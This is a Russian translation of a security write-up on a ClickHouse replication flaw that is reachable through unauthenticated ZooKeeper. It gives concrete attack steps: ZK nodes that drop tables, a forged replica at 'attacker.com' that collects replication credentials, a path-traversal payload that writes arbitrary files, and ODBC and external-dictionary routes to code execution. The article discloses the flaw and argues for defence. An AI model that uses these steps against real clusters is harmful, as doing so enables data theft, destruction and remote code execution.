Русский
Русский
English
Статистика
Реклама

Перевод Зачем нужно держать клетки в зоопарке закрытыми


В этой статье будет история об одной весьма характерной уязвимости в протоколе репликации в ClickHouse, а также будет показано, как можно расширить плоскость атаки.


ClickHouse это база данных для хранения больших объемов данных, чаще всего используется больше одной реплики. Кластеризация и репликация в ClickHouse строятся поверх Apache ZooKeeper (ZK) и требуют прав на запись.


Установка ZK по умолчанию не требует аутентификации, так что тысячи ZK серверов, используемых для конфигурации Kafka, Hadoop, ClickHouse доступны публично.


Для сокращения плоскости атаки вы всегда должны настраивать аутентификацию и авторизацию при установке ZooKeeper

Есть конечно несколько 0day на основе Java десериализации, но представьте себе, что злоумышленник может читать и писать в ZooKeeper, используемый для репликации ClickHouse.


При настройке в кластерном режиме ClickHouse поддерживает распределенные запросы DDL, проходящие через ZK для них узлы создаются в листе /clickhouse/task_queue/ddl.


Например вы создаете узел /clickhouse/task_queue/ddl/query-0001 с содержимым:


version: 1query: DROP TABLE xxx ON CLUSTER test;hosts: ['host1:9000', 'host2:9000']

а после этого на серверах кластера host1 и host2 таблица test будет удалена. DDL также поддерживает запуск запросов CREATE/ALTER/DROR.


Звучит страшно? Но где же атакующий сможет получить адреса серверов?


Репликация ClickHouse работает на уровне отдельных таблиц, так что при создании таблицы в ZK задается сервер, который будет отвечать за обмен метаданными с репликами. Например при выполнении запроса (ZK должен быть настроен, chXX имя реплики, foobar имя таблицы):


CREATE TABLE foobar(    `action_id` UInt32 DEFAULT toUInt32(0),    `status` String)ENGINE=ReplicatedMergeTree('/clickhouse/tables/01-01/foobar/', 'chXX')ORDER BY action_id;

будут созданы узлы columns и metadata.


Содержимое /clickhouse/tables/01/foobar/replicas/chXX/hosts:


host: chXX-addressport: 9009tcp_port: 9000database: defaulttable: foobarscheme: http

Можно ли слить данные из этого кластера? Да, если порт репликации (TCP/9009) на сервере chXX-address не будет закрыт firewall и не будет настроена аутентификация для репликации. Как обойти аутентификацию?


Атакующий может создать новую реплику в ZK, просто копируя содержимое с /clickhouse/tables/01-01/foobar/replicas/chXX и меняя значение host.


Содержимое /clickhouse/tables/0101/foobar/replicas/attacker/host:


host: attacker.comport: 9009tcp_port: 9000database: defaulttable: foobarscheme: http

Затем надо сказать остальным репликам, что на сервере атакующего есть новый блок данных, который им надо забрать создается узел в ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX монотонно растущий счетчик, который должен быть больше, чем последний в журнале событий):


format version: 4create_time: 2019-07-31 09:37:42source replica: attackerblock_id: all_7192349136365807998_13893666115934954449getall_0_0_2

где source_replica имя реплики атакующего, созданной на предыдущем шаге, block_id идентификатор блока данных, get команда "get block" (а [тут команды для других операций](
)).


Далее каждая реплика читает новое событие в журнале и идет на сервер, подконтрольный злоумышленнику, для получения блока данных (протокол репликации двоичный, работает поверх HTTP). Сервер attacker.com будет получать запросы:


POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1Host: attacker.comAuthorization: XXX

где XXX и есть данные аутентификации для репликации. В некоторых случаях это может быть учетная запись с доступом к базе данных по основному протоколу ClickHouse и протоколу HTTP. Как вы видели, плоскость атаки становится критически большой, потому что ZooKeeper, используемый для репликации, остался без настроенной аутентификации.


Давайте посмотрим на функцию получения блока данных из реплики, она написана с полной уверенностью, что все реплики под правильным контролем и между ними есть доверие.


https://miro.medium.com/max/700/1*92PefViWivYUEYFVhc1NMQ.png
код обработки репликации


Функция читает список файлов, затем их имена, размеры, содержимое, после чего пишет их в файловой системе. Стоит отдельно описать, как хранятся данные в файловой системе.


Есть несколько подкаталогов в /var/lib/clickhouse (каталог хранения по-умолчанию из конфигурационного файла):


flags каталог для записи флагов, используемых при восстановлении после потери данных;
tmp каталог хранения временных файлов;
user_files операции с файлами в запросах ограничены этим каталогом (INTO OUTFILE и другие);
metadata файлы sql с описаниями таблиц;
preprocessed_configs обработанные производные конфигурационные файлы из /etc/clickhouse-server;
data собственно каталог с самими данными, в этм случае для каждой базы просто создается отдельный подкаталог здесь (например /var/lib/clickhouse/data/default).


Для каждой таблицы создается подкаталог в каталоге с базой данных. Каждый столбец отдельный файл в зависимости от формата движка. Например для таблицы foobar, созданной атакующим, будут созданы следующие файлы:


action_id.binaction_id.mrk2checksums.txtcolumns.txtcount.txtprimary.idxstatus.binstatus.mrk2

Реплика ожидает получения файлов с такими же именами при обработке блока данных и не проверяет их каким-либо способом.


Внимательный читатель вероятно уже слышал про небезопасную конкатенацию file_name в функции WriteBufferFromFile. Да, это позволяет атакующему записать произвольный контент в любой файл на ФС с правами пользователя clickhouse. Для этого реплика, подконтрольная атакующему, должна вернуть следующий ответ на запрос (для простоты понимания добавлены переносы строк):


\x01\x00\x00\x00\x00\x00\x00\x00\x24../../../../../../../../../tmp/pwned\x12\x00\x00\x00\x00\x00\x00\x00hellofromzookeeper

а после конкатенации ../../../../../../../../../tmp/pwned будет записан файл /tmp/pwned с содержимым hellofromzookeeper.


Есть несколько вариантов превращения возможности записи файлов в удаленный запуск кода (RCE).


Внешние словари в RCE


В старых версиях каталог с настройками ClickHouse хранился с правами пользователя clickhouse по-умолчанию. Файлы настроек представляют собой файлы XML, которые сервис читает при запуске, а затем кэширует в /var/lib/clickhouse/preprocessed_configs. При изменениях они перечитываются. При наличии доступа к /etc/clickhouse-server атакующий может создать собственный внешний словарь исполняемого типа, а затем выполнить произвольный код. Текущие версии ClickHouse не дают права по-умолчанию, но если сервер постепенно обновлялся такие права могли и остаться. Если вы занимаетесь поддержкой кластера ClickHouse, проверьте права на каталог с настройками, он должен принадлежать пользователю root.


ODBC в RCE


При установке пакета создается пользователь clickhouse, при этом не создается его домашний каталог /nonexistent. Однако при использовании внешних словарей, либо по другим причинам, администраторы создают каталог /nonexistent и дают пользователю clickhouse доступ на запись в него (ССЗБ! прим. переводчика).


ClickHouse поддерживает ODBC и может соединяться с другими базами данных. В ODBC вы можете указать путь к библиотеке с драйвером базы данных (.so). Старые версии ClickHouse позволяли проворачивать такое прямо в обработчике запросов, но теперь добавлена более строгая проверка строки соединения в odbc-bridge, так что теперь невозможно указать путь к драйверу из запроса. Но атакующий может писать в домашний каталог, используя уязвимость, описанную выше?


Давайте создадим файл ~/.odbc.ini с таким содержимым:


[lalala]Driver=/var/lib/clickhouse/user_files/test.so

затем при запуске SELECT * FROM odbc('DSN=lalala', 'test', 'test'); будет подгружена библиотека test.so и получено RCE (спасибо buglloc за наводку).


Эти и другие уязвимости были исправлены в версии ClickHouse 19.14.3. Берегите свои ClickHouse и ZooKeepers!

Источник: habr.com
К списку статей
Опубликовано: 06.08.2020 16:13:59
0

Сейчас читают

Комментариев (0)
Имя
Электронная почта

Блог компании southbridge

Системное администрирование

Серверное администрирование

Администрирование баз данных

Zookeeper

Clickhouse

Rce

Pwned

Update

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru